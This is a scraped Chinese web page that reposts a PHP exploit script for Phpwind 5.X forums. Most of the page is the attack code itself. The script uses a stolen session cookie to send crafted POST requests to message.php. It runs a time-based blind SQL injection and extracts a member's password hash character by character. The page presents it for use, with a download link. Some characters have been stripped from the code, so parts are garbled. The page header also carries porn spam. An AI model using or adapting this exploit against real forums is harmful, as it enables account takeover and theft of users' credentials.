亚洲一区精品中文字幕,91免费黄色软件

主頁 > 知識庫 > phpwind Exp 漏洞利用

phpwind Exp 漏洞利用

忘記什么時候我就拿到了,一直沒發(fā)揮.由于某些原因一直沒發(fā)出來,畢竟不是原創(chuàng),現(xiàn)在有人帖出來了,我也放出來.
程序代碼
?php
print_r("

+------------------------------------------------------------------+

Exploit For Phpwind 5.X Version
BY  Loveshell
Just For Fun :)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$bbspath="$argv[2]";
$server="$argv[1]";
$cookie='1ae40_lastfid=0; 1ae40_ol_offset=776; 1ae40_ck_info=%2F%09.72m.net; 1ae40_winduser=A1QKBgE9UFxUUwAHDloFUAMIAFxeUgIMWgFUVVYDAA8HBFQNUVA%3D; 1ae40_lastvisit=0%091173612527%09%2Fbbs%2Findex.php%3F;
$useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
$uid=intval($argv[3])>0 ? intval($argv[3]):1;

echo "\r\n#Logging\t........";
if(islogin()) echo "Login Ok!\r\n";
else die("Not Login!\tCheck Your Cookie and Useragent!\r\n");

echo "#Testing\t........";
if(test()) echo "Vul!\r\n";
else die("Not Vul");

$hashtable='0123456789abcdef';
$count=0;

echo "#Cracking\t\r\n\r\n";

for($i=1;$i=16;$i++){
    echo "第\t$i\t位:";
    $subpass=crack($i+8);
    $password=$password.$subpass;
    echo "$subpass\r\n";
}

echo "Password:\t$password";

echo "\r\nGood Luck $count Times\r\n";

function send($cmd,$path)
{
  global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;

  $path=$bbspath."$path";
  $message = "POST ".$path." HTTP/1.1\r\n";
  $message .= "Accept: */*\r\n";
  $message .= "Accept-Language: zh-cn\r\n";
  $message .= "Referer: http://".$server.$path."\r\n";
  $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $message .= "User-Agent: ".$useragent."\r\n";
  $message .= "Host: ".$server."\r\n";
  $message .= "Content-length: ".strlen($cmd)."\r\n";
  $message .= "Connection: Keep-Alive\r\n";
  $message .= "Cookie: ".$cookie."\r\n";
  $message .= "\r\n";
  $message .= $cmd."\r\n";

  $count=$count+1;
  $fd = fsockopen( $server, 80 );
  fputs($fd,$message);
  $resp = "pre>";
  while($fd!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="/pre>";
  if($debug) {echo $cmd;echo $resp;}
//  echo $resp;
  return $resp;
}

function sqlject($sql){
    global $uid;
    $data='action=pubmsgreadmsg=0)';
    $data=$data." union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql".'/*';
    $echo=send($data,'message.php');
    preg_match("/Total (.*)\(/i",$echo,$matches);
    if($matches[1]>2) return 1;
    else return 0;
}

function test(){
    global $uid;
    $data='action=pubmsgreadmsg=0)';
    $echo=send($data,'message.php');
    if(strpos($echo,'MySQL Server Error'))    return 1;
    else return 0;
}

function islogin(){
    global $uid;
    $data='action=pubmsgreadmsg=0)';
    $echo=send($data,'message.php');
    if(strpos($echo,'login.php"')) return 0;
    else return 1;
}

function crack($i){
global $hashtable;

$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
    $a=8;
    $b=15;}
else {
    $a=0;
    $b=8;
}

for($tmp=$a;$tmp=$b;$tmp++){
    $sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
    if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
點擊下載此文件

您可能感興趣的文章:

PHPWind與Discuz截取字符函數(shù)substrs與cutstr性能比較
PHPwind整合最土系統(tǒng)用戶同步登錄實現(xiàn)方法
PHPWind 發(fā)帖回帖Api PHP版打包下載
PHPWIND 5.3 運行代碼功能實現(xiàn)代碼
phpwind管理權限泄露漏洞利用程序發(fā)布
關于phpwind克隆用戶的方法
php heredoc和phpwind的模板技術使用方法小結
PHP 優(yōu)化配置——加速你的VBB,phpwind,Discuz,IPB,MolyX
phpwind中的數(shù)據庫操作類
PHPWind9.0手動屏蔽驗證碼解決后臺關閉驗證碼但是依然顯示的問題

標簽：紅河忻州河源哈密沈陽阜陽無錫青海

巨人網絡通訊聲明：本文標題《phpwind Exp 漏洞利用》，本文關鍵詞 phpwind,Exp,漏洞,利用,phpwind,；如發(fā)現(xiàn)本文內容存在版權問題，煩請?zhí)峁┫嚓P信息告之我們，我們將及時溝通與處理。本站內容系統(tǒng)采集于網絡，涉及言論、版權與本站無關。